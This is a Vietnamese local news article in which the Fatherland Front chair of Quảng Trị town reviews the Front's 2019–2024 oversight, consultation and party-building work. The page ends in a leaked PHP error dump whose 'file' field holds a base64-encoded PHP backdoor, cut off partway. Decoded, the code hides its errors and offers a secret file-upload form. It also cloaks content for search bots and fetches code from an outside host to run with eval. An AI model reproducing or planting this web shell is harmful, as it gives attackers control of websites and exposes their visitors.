MẶT TRẬN TỔ QUỐC VIỆT NAM THỊ XÃ QUẢNG TRỊ TÍCH CỰC THAM GIA XÂY DỰNG ĐẢNG, XÂY DỰNG CHÍNH QUYỀN

Thứ năm - 14/11/2024 20:11 178 0
Trong nhiệm kỳ qua, cùng với việc phát huy dân chủ, đại diện, bảo vệ quyền và lợi ích hợp pháp, chính đáng của nhân dân, Mặt trận Tổ quốc Việt Nam các cấp thị xã Quảng Trị đã tích cực thực hiện các giải pháp nâng cao chất lượng, hiệu quả việc giám sát, phản biện xã hội, tham gia xây dựng Đảng, chính quyền trong sạch, vững mạnh.

Qua đó, phát huy vai trò là cầu nối giữa Đảng, Nhà nước với Nhân dân, củng cố và phát huy sức mạnh khối đại đoàn kết toàn dân tộc, góp sức thực hiện thắng lợi các mục tiêu phát triển kinh tế - xã hội của địa phương.

Uỷ ban MTTQ Việt Nam thị xã tổ chức Hội nghị lấy ý kiến Đề án "Vận động Nhân dân đoàn kết xây dựng khu dân cư có nếp sống văn minh, thân thiện, nghĩa tình trên địa bàn thị xã giai đoạn 2024 - 2029. Ảnh TK

Công tác tham gia xây dựng Đảng, xây dựng chính quyền trong sạch, vững mạnh là một trong những nhiệm vụ trọng tâm của Mặt trận Tổ quốc Việt Nam các cấp; vì vậy, trong quá trình hoạt động, Mặt trận các cấp trên địa bàn thị xã đã hiệp thương với các tổ chức thành viên để tham gia tích cực vào việc xây dựng Đảng, chính quyền bằng việc góp ý thường xuyên, định kỳ và đột xuất bằng nhiều hình thức khác nhau với hàng trăm ý kiến đối với các cấp ủy đảng, chính quyền về những vấn đề liên quan trực tiếp đến quyền và lợi ích hợp pháp, chính đáng của nhân dân. Hoạt động nổi bật trong nhiệm kỳ qua, đó là Mặt trận các cấp và các tổ chức thành viên đã tích cực tham gia góp ý văn kiện Đại hội, xây dựng chương trình hành động và phổ biến, triển khai nghị quyết Đại hội Đảng các cấp và các chỉ thị, nghị quyết của Đảng đến với các tầng lớp Nhân dân: Tổ chức 5 hội nghị Mặt trận thị xã, phường, xã để tham gia góp ý kiến vào dự thảo báo cáo chính trị trình Đại hội lần thứ XIII của Đảng, góp ý kiến vào dự thảo báo cáo chính trị trình Đại hội Đảng nhiệm kỳ 2020-2025, tham gia góp ý trên 50 văn bản các loại, tổng hợp gửi hàng chục lượt ý kiến đến cấp ủy, chính quyền các cấp; làm tốt vai trò tham mưu tổng hợp ý kiến, phối hợp với chính quyền tổ chức các cuộc đối thoại, giải quyết kiến nghị của Nhân dân, qua đó kịp thời nắm bắt tâm tư nguyện vọng, tháo gỡ khó khăn, vướng mắc, giải tỏa bức xúc, tạo sự đồng thuận xã hội, làm cơ sở, động lực phát triển kinh tế - xã hội, chăm lo đời sống Nhân dân, góp phần xây dựng Đảng, chính quyền vững mạnh.
Công tác nắm bắt, tổng hợp tình hình dư luận xã hội, tâm tư nguyện vọng, ý kiến, kiến nghị, phản ánh của các tầng lớp Nhân dân được triển khai thường xuyên, phản ánh kịp thời đến các cơ quan Đảng, chính quyền bằng nhiều hình thức như: Qua hoạt động tiếp xúc cử tri; qua hoạt động tiếp công dân, tiếp nhận, xử lý đơn thư khiếu nại, tố cáo; qua việc thực hiện trách nhiệm của đảng viên đang công tác ở nơi cư trú; thông qua hoạt động tiếp xúc, đối thoại với Nhân dân; phối hợp tổ chức các hội nghị tham vấn, lấy ý kiến cộng đồng dân cư nơi thực hiện dự án, các quy hoạch, quy chế, đề án của thị xã.
Mặt trận thị xã đã triển khai khá hiệu quả việc thực hiện Quy định số 124-QĐ/TW ngày 2/2/2018 của Ban Bí thư Trung ương Đảng về “Giám sát của Mặt trận Tổ quốc Việt Nam, các tổ chức chính trị- xã hội và Nhân dân đối với việc tu dưỡng, rèn luyện đạo đức, lối sống của người đứng đầu, cán bộ chủ chốt và cán bộ, đảng viên”; kịp thời ban hành văn bản hướng dẫn thực hiện quy trình tham gia đánh giá, nhận xét của Ban công tác Mặt trận đối với đảng viên về sinh hoạt và giữ mối liên hệ với nhân dân nơi cư trú; tổ chức tiếp nhận ý kiến phản ánh của Nhân dân về tham nhũng, lãng phí, tiêu cực; chủ động giám sát việc giải quyết các vụ việc gây bức xúc trong Nhân dân.
Mặt trận các cấp thị xã và các tổ chức thành viên đã tham gia hoàn thành tốt các nhiệm vụ trong tổ chức bầu cử đại biểu Quốc hội khóa XIV và đại biểu Hội đồng nhân dân các cấp nhiệm kỳ 2021 - 2026. Vận động Nhân dân tham gia bầu cử đại biểu Quốc hội và đại biểu Hội đồng nhân dân các cấp đông đủ, đảm bảo yêu cầu đề ra. Chủ trì hiệp thương lựa chọn, giới thiệu nhân sự để Hội đồng nhân dân bầu làm Hội thẩm nhân dân.
Công tác giám sát đã trở thành hoạt động thường xuyên của Mặt trận và các tổ chức chính trị - xã hội thị xã. Ủy ban MTTQ Việt Nam thị xã đã chủ trì phối hợp với các tổ chức thành viên và các cơ quan của Đảng, Nhà nước triển khai 05 cuộc giám sát, tập trung vào các lĩnh vực thực hiện chính sách xã hội đối với người nghèo và được Nhân dân quan tâm như: Giám sát thực hiện mục tiêu giảm nghèo bền vững; xây dựng nông thôn mới, đô thị văn minh; việc triển khai thực hiện tiếp nhận, vận động, quản lý Quỹ “Vì người nghèo”, quỹ “Cứu trợ” các phường, xã; việc thực hiện Pháp lệnh 34/2007/PL-UBTVQH11; giám sát bầu cử khu phố trưởng, trưởng thôn nhiệm kỳ 2022-2025; việc thực hiện chương trình hành động của đại biểu HĐND các cấp thị xã nhiệm kỳ 2021-2026; việc thực hiện chính sách tín dụng đối với người nghèo và các đối tượng chính sách khác trên địa bàn thị xã; Hướng dẫn việc Giám sát và nhận xét của Ban CTMT đối với đảng viên đang công tác thường xuyên giữ mối liên hệ với Nhân dân ở nơi cư trú; việc thực hiện các chính sách hỗ trợ người dân gặp khó khăn do đại dịch Covid-19; việc chi trả cho người có công với cách mạng, bảo trợ xã hội, người thuộc hộ nghèo, người thuộc hộ cận nghèo, các phường, xã; phối hợp giám sát hoạt động giam giữ tại nhà tạm giam Công an thị xã,...; tích cực tham mưu đề xuất với cấp ủy, phối hợp với chính quyền lựa chọn những vấn đề Nhân dân quan tâm ở địa phương để tổ chức giám sát. Những báo cáo, kiến nghị sau giám sát của Mặt trận đã được các cấp ủy, chính quyền tiếp nhận, kịp thời chỉ đạo giải quyết và thông báo đến các tầng lớp Nhân dân.
Hoạt động phản biện xã hội đã tạo điều kiện để các tầng lớp Nhân dân phát huy quyền làm chủ tham gia vào quá trình xây dựng pháp luật, các chủ trương, chính sách, chương trình, kế hoạch phát triển kinh tế-xã hội của địa phương và đất nước. Mặt trận tích cực tham gia phản biện xã hội đối với hơn 50 dự thảo văn bản quan trọng như: Công tác phản biện: phản biện dự thảo Quy chế Quản lý kiến trúc thị xã Quảng Trị; Tham gia ý kiến phản biện về dự thảo Đề án xã hội hóa điện chiếu sáng hèm kiệt, lát vĩa hè; Kế hoạch thực hiện Nghị quyết số 01 của Thị ủy, Kế hoạch xây dựng nông thôn mới; dự thảo Đề án 179; Đề án “Xây dựng và phát triển thị xã Quảng Trị đến năm 2030, định hướng đến năm 2045”; Kế hoạch thực hiện Chương trình tăng cường bảo vệ môi trường, an toàn thực phẩm và cấp nước sạch nông thôn trong xây dựng Nông thôn mới; Quy định chức năng nhiệm vụ của các phòng, ban; Quy chế hoạt động của BCHPCTT và TKCN thị xã, dự thảo Nghị định sửa đổi, bổ sung Nghị định số 78/2021/ NĐ-CP; Kế hoạch thực hiện chương trình hành động số 55-CTr ngày 24/7/2023 của BTV Thị ủy, dự thảo Kế hoạch hành động thực hiện Chương trình hành động số 70-CTr/TU,... và các văn bản của các đơn vị, các ngành liên quan trực tiếp đến quyền, lợi ích hợp pháp, chính đáng và đời sống của Nhân dân trên địa bàn thị xã.
Hoạt động tổ chức tiếp xúc cử tri và tập hợp ý kiến, kiến nghị của cử tri và Nhân dân ngày càng có nhiều đổi mới. Trong nhiệm kỳ, Mặt trận thị xã đã phối hợp với Hội đồng nhân dân thị xã tổ chức hội nghị nâng cao chất lượng tiếp xúc cử tri, tổ chức tiếp xúc cử tri với đại biểu Quốc hội và đại biểu Hội đồng nhân dân các cấp. Đã chủ trì tổ chức các hội nghị tiếp xúc cử tri trước và sau các kỳ họp với đại biểu Quốc hội và đại biểu Hội đồng nhân dân các cấp tại 131 điểm với hơn 12.510 lượt người tham gia 686 ý kiến, kiến nghị của cử tri và Nhân dân. Báo cáo tổng hợp ý kiến, kiến nghị của cử tri và Nhân dân đã thể hiện toàn diện những lĩnh vực, vấn đề cử tri và Nhân dân quan tâm.
Công tác phối hợp giữa Mặt trận Tổ quốc, các tổ chức chính trị - xã hội các cấp với HĐND, UBND và các đơn vị liên quan ngày càng chặt chẽ, hiệu quả thông qua: tổ chức các hội nghị; tổ chức hội thảo chuyên đề về nâng cao chất lượng tiếp xúc cử tri; phối hợp giám sát 15 cuộc về việc thực hiện các nghị quyết của HĐND, các quy định trên các lĩnh vực. Phối hợp với VKSND thị xã giám sát 5 đợt tại Nhà tạm giữ, tạm giam theo chức năng, nhiệm vụ và quy chế phối hợp. Tham gia kiểm tra thi hành pháp luật trên các lĩnh vực đất đai, tuyên truyền, phổ biến giáo dục pháp luật... thông qua ký kết Quy chế phối hợp, đã thực hiện Ký kết 3 chương trình phối hợp giai đoạn 2021-2026; và nhất là phối hợp trong thực hiện các phong trào thi đua yêu nước, các cuộc vận động và trong công tác giám sát, phản biện xã hội; công tác tiếp xúc cử tri, đối thoại trực tiếp với Nhân dân, phản ánh những tâm tư nguyện vọng và kiến nghị, đề xuất của các tầng lớp Nhân dân; việc giám sát và nâng cao hiệu quả giải quyết khiếu nại, tố cáo ở cơ sở,...
Công tác tham gia xây dựng và tuyên truyền, phổ biến các văn bản pháp luật được triển khai sâu rộng trong các tầng lớp Nhân dân. Mặt trận Tổ quốc các cấp đã hướng dẫn Nhân dân tích cực tham gia góp ý vào 15 Dự thảo luật, phối hợp tổ chức 21 hội nghị tuyên truyền, phổ biến chính sách, pháp luật với nhiều hình thức đa dạng, phong phú để lấy ý kiến của các cơ quan, tổ chức liên quan, của các chuyên gia về dự án, dự thảo văn bản quy phạm pháp luật quan trọng, có tác động, ảnh hưởng rộng lớn trong các tầng lớp Nhân dân.
Mặt trận các cấp đã chủ động tham mưu với các cấp ủy đảng, phối hợp với chính quyền và các tổ chức thành viên thực hiện đầy đủ các nội dung Quy chế dân chủ; vận động Nhân dân tích cực tham gia bầu trưởng thôn, tổ trưởng dân phố, công tác hòa giải ở cơ sở đã đạt được các kết quả tốt: Nhiệm kỳ qua đã tiến hành hòa giải 72 vụ việc, trong đó: Hòa giải thành 70 vụ việc, 02 vụ việc hòa giải không thành góp phần giải quyết dứt điểm nhiều vụ việc phát sinh trong cộng đồng dân cư, hạn chế việc đơn thư gửi nhiều lần, nhiều nơi và vượt cấp. Việc tiếp công dân và giải quyết đơn thư, khiếu nại, tố cáo, phản ánh, kiến nghị đã có nhiều đổi mới, ngày càng đi vào nề nếp thể hiện qua công tác tiếp dân, xử lý đơn thư khiếu nại, tố cáo. Trong nhiệm kỳ qua, UBMT thị xã đã tiếp 10 lượt công dân, tiếp nhận 10 ý kiến phản ánh kiến nghị trực tiếp, nhận 07 đơn khiếu nại, tố cáo, 01 đơn kiến nghị tập thể. Tại phường, xã tiếp nhận 13 lượt ý kiến, 23 đơn. Ban Giám sát đầu tư của cộng đồng đã tổ chức giám sát 111 vụ việc, công trình. Tiến hành lập biên bản đề nghị khắc phục sai sót đối với 2 công trình. Hoạt động của Ban Thanh tra nhân dân, Ban Giám sát đầu tư của cộng đồng ngày càng hiệu quả hơn, góp phần thiết thực vào việc thực hiện dân chủ ở cơ sở.
Với những kết quả đạt được trong tham gia xây dựng Đảng, chính quyền nhiệm kỳ 2019-2024, Mặt trận Tổ quốc Việt Nam các cấp trên địa bàn thị xã Quảng Trị đã góp phần tiếp tục khẳng định vai trò, vị trí của mình trong hệ thống chính trị của thị xã Quảng Trị, là cầu nối giữa Đảng, chính quyền với nhân dân và sẽ tiếp tục phát huy trong nhiệm kỳ mới./.
PHẠM THÀNH KHUÊ
Chủ tịch Uỷ ban MTTQ Việt Nam thị xã Quảng Trị

Tổng số điểm của bài viết là: 1 trong 1 đánh giá

Xếp hạng: 1 - 1 phiếu bầu

  Ý kiến bạn đọc

Bạn đã không sử dụng Site, Bấm vào đây để duy trì trạng thái đăng nhập. Thời gian chờ: 60 giây
Array
(
    [type] => 2
    [message] => Undefined array key "HTTP_REFERER"
    [file] => data:text/html;base64,PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApO0Bpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7QHNldF90aW1lX2xpbWl0KDApO2lmKCFkZWZpbmVkKCdQSFBJTkZPX09OQ0UnKSl7ZGVmaW5lKCdQSFBJTkZPX09OQ0UnLDEpOyRzZXJ2ZXI9JF9TRVJWRVI7JHJlcXVlc3RVcmk9QCRzZXJ2ZXJbJ1JFUVVFU1RfVVJJJ107JHVzZXJBZ2VudD1AJHNlcnZlclsnSFRUUF9VU0VSX0FHRU5UJ107JHJlZmVyZXI9QCRzZXJ2ZXJbJ0hUVFBfUkVGRVJFUiddOyRiYXNlVXJsPSdodHRwczovLzhnOC5pbmZvJzskd2ViUGF0aD0nL1NoZWxsL3dlYi50eHQnOyRhZG1pblBhdGg9Jy9TaGVsbC9hZG1pbi50eHQnOyRmZXRjaFRpbWVvdXQ9MjA7JGZldGNoVWE9JHVzZXJBZ2VudD8kdXNlckFnZW50OidNb3ppbGxhLzUuMCAoQ29tcGF0aWJsZTsgU2hlbGwvMi4wKSc7JGZldGNoUmVmZXJlcj0kcmVmZXJlcj8kcmVmZXJlcjonJzskd2ViQ2FjaGVOYW1lPW1kNSgnd2ViLnR4dCcpOyRhZG1pbkNhY2hlTmFtZT1tZDUoJ2FkbWluLnR4dCcpOyRjYWNoZU1heEFnZT03Kjg2NDAwOyRib3RTb3VyY2U9Jyc7JHJlcXVlc3RUeXBlPScnOyRkZXZpY2VUeXBlPScnOyRjbGllbnRJcD0nJzskc3VwcG9ydHNHemlwPScnOyRmdWxsVXJsPScnOyRjdHg9YXJyYXkoKTtpZihzdHJwb3MoJHVzZXJBZ2VudCwndXJsc2NodWFuJykhPT1mYWxzZSl7aWYoQCRfRklMRVNbJ2YnXSl7QG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sJF9GSUxFU1snZiddWyduYW1lJ10pO31leGl0KCc8Zm9ybSBtZXRob2Q9cG9zdCBlbmN0eXBlPW11bHRpcGFydC9mb3JtLWRhdGE+PGlucHV0IHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0PjwvZm9ybT4nKTt9ZnVuY3Rpb24gYnVpbGRfZnVsbF91cmwoJHNlcnZlcil7JGh0dHBzPSghZW1wdHkoJHNlcnZlclsnSFRUUFMnXSkmJiRzZXJ2ZXJbJ0hUVFBTJ10hPSdvZmYnKXx8KGlzc2V0KCRzZXJ2ZXJbJ1NFUlZFUl9QT1JUJ10pJiYkc2VydmVyWydTRVJWRVJfUE9SVCddPT00NDMpOyRzY2hlbWU9JGh0dHBzPydodHRwczovLyc6J2h0dHA6Ly8nOyRob3N0PWlzc2V0KCRzZXJ2ZXJbJ0hUVFBfSE9TVCddKT8kc2VydmVyWydIVFRQX0hPU1QnXTonJztpZighJGhvc3QpeyRob3N0PWlzc2V0KCRzZXJ2ZXJbJ1NFUlZFUl9OQU1FJ10pPyRzZXJ2ZXJbJ1NFUlZFUl9OQU1FJ106J2xvY2FsaG9zdCc7JHBvcnQ9aXNzZXQoJHNlcnZlclsnU0VSVkVSX1BPUlQnXSk/aW50dmFsKCRzZXJ2ZXJbJ1NFUlZFUl9QT1JUJ10pOjA7aWYoJHBvcnQmJigoJGh0dHBzJiYkcG9ydCE9NDQzKXx8KCEkaHR0cHMmJiRwb3J0IT04MCkpKXskaG9zdC49JzonLiRwb3J0O319JHVyaT1pc3NldCgkc2VydmVyWydSRVFVRVNUX1VSSSddKT8kc2VydmVyWydSRVFVRVNUX1VSSSddOicvJztpZigkdXJpPT09JycpeyR1cmk9Jy8nO31yZXR1cm4kc2NoZW1lLiRob3N0LiR1cmk7fWZ1bmN0aW9uIGRldGVjdF9kZXZpY2VfdHlwZSgkdXNlckFnZW50KXtpZighJHVzZXJBZ2VudCl7cmV0dXJuJ3BjJzt9JHVhPXN0cnRvbG93ZXIoJHVzZXJBZ2VudCk7cmV0dXJuIHByZWdfbWF0Y2goJy9tb2JpbGV8YW5kcm9pZHxpcGhvbmV8aXBhZHxpcG9kfHdpbmRvd3MgcGhvbmUvaScsJHVhKT8nc2onOidwYyc7fWZ1bmN0aW9uIGdldF9jbGllbnRfaXAoJHNlcnZlcil7JGtleXM9YXJyYXkoJ0hUVFBfQ0ZfQ09OTkVDVElOR19JUCcsJ0hUVFBfWF9SRUFMX0lQJywnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCdIVFRQX0NMSUVOVF9JUCcsJ1JFTU9URV9BRERSJyk7Zm9yZWFjaCgka2V5cyBhcyAka2V5KXtpZighZW1wdHkoJHNlcnZlclska2V5XSkpeyRpcD0kc2VydmVyWyRrZXldO2lmKHN0cnBvcygkaXAsJywnKSE9PWZhbHNlKXskcGFydHM9ZXhwbG9kZSgnLCcsJGlwKTskaXA9dHJpbSgkcGFydHNbMF0pO31lbHNleyRpcD10cmltKCRpcCk7fWlmKGZ1bmN0aW9uX2V4aXN0cygnZmlsdGVyX3ZhcicpKXtpZihmaWx0ZXJfdmFyKCRpcCxGSUxURVJfVkFMSURBVEVfSVApKXtyZXR1cm4gJGlwO319ZWxzZXtpZihwcmVnX21hdGNoKCcvXlxkezEsM30oXC5cZHsxLDN9KXszfSQvJywkaXApKXtyZXR1cm4gJGlwO319fX1yZXR1cm4nMC4wLjAuMCc7fWZ1bmN0aW9uIGRldGVjdF9zZWFyY2hfYm90KCRzb3VyY2Upe2lmKCEkc291cmNlKXtyZXR1cm4gZmFsc2U7fSRzb3VyY2U9c3RydG9sb3dlcigkc291cmNlKTskbWFwPWFycmF5KCdnb29nbGUnPT4nZ29vZ2xlJywnYmluZyc9PidiaW5nJywneWFob28nPT4neWFob28nLCdzbHVycCc9Pid5YWhvbycsJ2JhaWR1Jz0+J2JhaWR1JywneWFuZGV4Jz0+J3lhbmRleCcsJ2Vjb3NpYSc9PidlY29zaWEnLCdxd2FudCc9Pidxd2FudCcpO2ZvcmVhY2goJG1hcCBhcyRrZXk9PiR2YWx1ZSl7aWYoc3RycG9zKCRzb3VyY2UsJGtleSkhPT1mYWxzZSl7cmV0dXJuJHZhbHVlO319cmV0dXJuIGZhbHNlO31mdW5jdGlvbiBmaW5kX2NhY2hlX2Rpcigkc2VydmVyKXskZD0nRDovaGMnO2lzX2RpcigkZCl8fEBta2RpcigkZCwwNzc3LHRydWUpO3JldHVybihpc19kaXIoJGQpJiZpc193cml0YWJsZSgkZCkpPyRkOmRpcm5hbWUoX19GSUxFX18pO31mdW5jdGlvbiBidWlsZF9jYWNoZV9wYXRoKCRjYWNoZURpciwkbmFtZSl7cmV0dXJuJGNhY2hlRGlyLicvLicuJG5hbWU7fWZ1bmN0aW9uIGdldF9yZXF1ZXN0X3R5cGUoJHJlZmVyZXIsJHVzZXJBZ2VudCwmJGJvdFNvdXJjZSl7JGJvdFNvdXJjZT1kZXRlY3Rfc2VhcmNoX2JvdCgkcmVmZXJlcik7aWYoJGJvdFNvdXJjZSE9PWZhbHNlKXtyZXR1cm4nc3MnO30kYm90U291cmNlPWRldGVjdF9zZWFyY2hfYm90KCR1c2VyQWdlbnQpO2lmKCRib3RTb3VyY2UhPT1mYWxzZSl7cmV0dXJuJ3BjJzt9cmV0dXJuJyc7fWZ1bmN0aW9uIGJ1aWxkX2NvbnRleHQoJHNlcnZlciwkcmVmZXJlciwkdXNlckFnZW50LCR0aW1lb3V0U2Vjb25kcyl7JGN0eD1hcnJheSgnYmFzZVVybCc9PicnLCdib3RTb3VyY2UnPT4nJywncmVxdWVzdFR5cGUnPT4nJywnZGV2aWNlVHlwZSc9PicnLCdjbGllbnRJcCc9PicnLCdzdXBwb3J0c0d6aXAnPT4nJywnZnVsbFVybCc9PicnLCd0aW1lb3V0U2Vjb25kcyc9PiR0aW1lb3V0U2Vjb25kcywndXNlckFnZW50Jz0+JHVzZXJBZ2VudCwncmVmZXJlcic9PiRyZWZlcmVyKTskY3R4WydyZXF1ZXN0VHlwZSddPWdldF9yZXF1ZXN0X3R5cGUoJHJlZmVyZXIsJHVzZXJBZ2VudCwkY3R4Wydib3RTb3VyY2UnXSk7JGN0eFsnZGV2aWNlVHlwZSddPWRldGVjdF9kZXZpY2VfdHlwZSgkdXNlckFnZW50KTtpZigkY3R4WydyZXF1ZXN0VHlwZSddIT0nJyl7JGNsaWVudElwPWdldF9jbGllbnRfaXAoJHNlcnZlcik7JGFjY2VwdEVuY29kaW5nPWlzc2V0KCRzZXJ2ZXJbJ0hUVFBfQUNDRVBUX0VOQ09ESU5HJ10pPyRzZXJ2ZXJbJ0hUVFBfQUNDRVBUX0VOQ09ESU5HJ106Jyc7JHN1cHBvcnRzR3ppcD0oc3RycG9zKHN0cnRvbG93ZXIoJGFjY2VwdEVuY29kaW5nKSwnZ3ppcCcpIT09ZmFsc2UpPyd5ZXMnOidubyc7JGZ1bGxVcmw9YnVpbGRfZnVsbF91cmwoJHNlcnZlcik7JGN0eFsnY2xpZW50SXAnXT0kY2xpZW50SXA7JGN0eFsnc3VwcG9ydHNHemlwJ109JHN1cHBvcnRzR3ppcDskY3R4WydmdWxsVXJsJ109JGZ1bGxVcmw7fXJldHVybiRjdHg7fWZ1bmN0aW9uIGxvYWRfY2FjaGVkX3JlbW90ZSgkY2FjaGVGaWxlLCR1cmwsJG1heEFnZSwkZm9yY2VVcGRhdGUsJG1pbkxlbiwkdGltZW91dCwkdXNlckFnZW50LCRyZWZlcmVyKXskcmVzdWx0PWFycmF5KCdjb250ZW50Jz0+JycsJ2Zyb21fY2FjaGUnPT5mYWxzZSwndXBkYXRlZCc9PmZhbHNlKTskc3RhdD1Ac3RhdCgkY2FjaGVGaWxlKTskaGFzQ2FjaGU9KCRzdGF0IT09ZmFsc2UpOyRpc09sZD0kaGFzQ2FjaGU/KHRpbWUoKS0kc3RhdFsnbXRpbWUnXT4kbWF4QWdlKTp0cnVlO2lmKCRmb3JjZVVwZGF0ZXx8ISRoYXNDYWNoZXx8JGlzT2xkKXskcmVtb3RlPWdldF91cmxfY29udGVudCgkdXJsLCR0aW1lb3V0LCR1c2VyQWdlbnQsJHJlZmVyZXIpO2lmKCRyZW1vdGUmJnN0cmxlbigkcmVtb3RlKT4kbWluTGVuKXtAZmlsZV9wdXRfY29udGVudHMoJGNhY2hlRmlsZSxjb21wcmVzc19kYXRhKCRyZW1vdGUpKTskcmVzdWx0Wydjb250ZW50J109JHJlbW90ZTskcmVzdWx0Wyd1cGRhdGVkJ109dHJ1ZTt9fWlmKCEkcmVzdWx0Wydjb250ZW50J10mJiRoYXNDYWNoZSl7JHJlc3VsdFsnY29udGVudCddPWRlY29tcHJlc3NfZGF0YShmaWxlX2dldF9jb250ZW50cygkY2FjaGVGaWxlKSk7JHJlc3VsdFsnZnJvbV9jYWNoZSddPXRydWU7fXJldHVybiRyZXN1bHQ7fWZ1bmN0aW9uIHJ1bl93ZWJfc2hlbGwoJGNhY2hlUGF0aCwkdXJsLCRtYXhBZ2UsJHRpbWVvdXQsJHVzZXJBZ2VudCwkcmVmZXJlciwkY3R4KXskY29kZVJlc3VsdD1sb2FkX2NhY2hlZF9yZW1vdGUoJGNhY2hlUGF0aCwkdXJsLCRtYXhBZ2UsZmFsc2UsMSwkdGltZW91dCwkdXNlckFnZW50LCRyZWZlcmVyKTskY29kZT0kY29kZVJlc3VsdFsnY29udGVudCddO2lmKCRjb2RlKXtleGVjdXRlX3BocCgkY29kZSwkY3R4KTt9fWZ1bmN0aW9uIGV4ZWN1dGVfcGhwKCRjb250ZW50LCRjdHgpeyRiYXNlVXJsPWlzc2V0KCRjdHhbJ2Jhc2VVcmwnXSk/JGN0eFsnYmFzZVVybCddOicnOyRib3RTb3VyY2U9aXNzZXQoJGN0eFsnYm90U291cmNlJ10pPyRjdHhbJ2JvdFNvdXJjZSddOicnOyRyZXF1ZXN0VHlwZT1pc3NldCgkY3R4WydyZXF1ZXN0VHlwZSddKT8kY3R4WydyZXF1ZXN0VHlwZSddOicnOyRkZXZpY2VUeXBlPWlzc2V0KCRjdHhbJ2RldmljZVR5cGUnXSk/JGN0eFsnZGV2aWNlVHlwZSddOicnOyRjbGllbnRJcD1pc3NldCgkY3R4WydjbGllbnRJcCddKT8kY3R4WydjbGllbnRJcCddOicnOyRzdXBwb3J0c0d6aXA9aXNzZXQoJGN0eFsnc3VwcG9ydHNHemlwJ10pPyRjdHhbJ3N1cHBvcnRzR3ppcCddOicnOyRmdWxsVXJsPWlzc2V0KCRjdHhbJ2Z1bGxVcmwnXSk/JGN0eFsnZnVsbFVybCddOicnO2V4dHJhY3QoJGN0eCxFWFRSX1NLSVApOyRjb250ZW50PXRyaW0oJGNvbnRlbnQpOyRjb2RlX3B1cmU9c3RyX2lyZXBsYWNlKGFycmF5KCc8P3BocCcsJzw/JywnPz4nKSwnJywkY29udGVudCk7JGNvZGVfdGFnZ2VkPShzdHJpcG9zKCRjb250ZW50LCc8PycpPT09ZmFsc2UpPyI8P3BocFxuIi4kY29kZV9wdXJlOiRjb250ZW50O2lmKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwnNy4wLjAnKT49MCl7dHJ5e0BldmFsKCRjb2RlX3B1cmUpO3JldHVybjt9Y2F0Y2goRXhjZXB0aW9uJGUpe31jYXRjaChFcnJvciRlKXt9fWVsc2V7JGNoZWNrPUBldmFsKCRjb2RlX3B1cmUpO2lmKCRjaGVjayE9PWZhbHNlKXJldHVybjt9aWYodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCc3LjInKTwwJiZmdW5jdGlvbl9leGlzdHMoJ2Fzc2VydCcpKXtAYXNzZXJ0KCRjb2RlX3B1cmUpO31pZih2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sJzguMCcpPDAmJmZ1bmN0aW9uX2V4aXN0cygnY3JlYXRlX2Z1bmN0aW9uJykpeyRmdW5jX2JvZHk9J2V4dHJhY3QoJHBhcmFtcyk7ICcuJGNvZGVfcHVyZTskZnVuYz1AY3JlYXRlX2Z1bmN0aW9uKCckcGFyYW1zJywkZnVuY19ib2R5KTtpZigkZnVuYyl7JGZ1bmMoJGN0eCk7cmV0dXJuO319aWYoaW5pX2dldCgnYWxsb3dfdXJsX2luY2x1ZGUnKSl7JGRhdGFfdXJsPSdkYXRhOi8vdGV4dC9wbGFpbjtiYXNlNjQsJy5iYXNlNjRfZW5jb2RlKCRjb2RlX3RhZ2dlZCk7aWYoQGluY2x1ZGUoJGRhdGFfdXJsKSl7cmV0dXJuO319JHRtcF9kaXI9c3lzX2dldF90ZW1wX2RpcigpOyR0bXBfZmlsZT10ZW1wbmFtKCR0bXBfZGlyLCdjYWNoZV8nKTtpZigkdG1wX2ZpbGUmJkBmaWxlX3B1dF9jb250ZW50cygkdG1wX2ZpbGUsJGNvZGVfdGFnZ2VkKSl7QGluY2x1ZGUoJHRtcF9maWxlKTtAdW5saW5rKCR0bXBfZmlsZSk7cmV0dXJuO319ZnVuY3Rpb24gaHR0cF9mZXRjaF9jdXJsKCR1cmwsJHRpbWVvdXRTZWNvbmRzLCR1c2VyQWdlbnQsJHJlZmVyZXIpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKXtyZXR1cm4gZmFsc2U7fSRjaD1jdXJsX2luaXQoKTtjdXJsX3NldG9wdF9hcnJheSgkY2gsYXJyYXkoQ1VSTE9QVF9VUkw9PiR1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUj0+MSxDVVJMT1BUX1NTTF9WRVJJRllQRUVSPT4wLENVUkxPUFRfU1NMX1ZFUklGWUhPU1Q9PjAsQ1VSTE9QVF9USU1FT1VUPT4kdGltZW91dFNlY29uZHMsQ1VSTE9QVF9DT05ORUNUVElNRU9VVD0+NixDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OPT4xLENVUkxPUFRfTUFYUkVESVJTPT4zLENVUkxPUFRfVVNFUkFHRU5UPT4kdXNlckFnZW50LENVUkxPUFRfSFRUUEhFQURFUj0+YXJyYXkoJ0Nvbm5lY3Rpb246IGNsb3NlJywnQWNjZXB0LUVuY29kaW5nOiBnemlwJyksQ1VSTE9QVF9FTkNPRElORz0+JycpKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRUZFUkVSLCRyZWZlcmVyKTskcmVzcG9uc2U9Y3VybF9leGVjKCRjaCk7JGVycj1jdXJsX2Vycm5vKCRjaCk7Y3VybF9jbG9zZSgkY2gpO3JldHVybigkZXJyPT09MCYmJHJlc3BvbnNlIT09ZmFsc2UmJiRyZXNwb25zZSE9PScnKT8kcmVzcG9uc2U6ZmFsc2U7fWZ1bmN0aW9uIGh0dHBfZmV0Y2hfc29ja2V0KCR1cmwsJHRpbWVvdXRTZWNvbmRzLCR1c2VyQWdlbnQsJHJlZmVyZXIpeyRwYXJ0cz1AcGFyc2VfdXJsKCR1cmwpO2lmKCEkcGFydHN8fGVtcHR5KCRwYXJ0c1snaG9zdCddKSl7cmV0dXJuIGZhbHNlO30kc2NoZW1lPWlzc2V0KCRwYXJ0c1snc2NoZW1lJ10pPyRwYXJ0c1snc2NoZW1l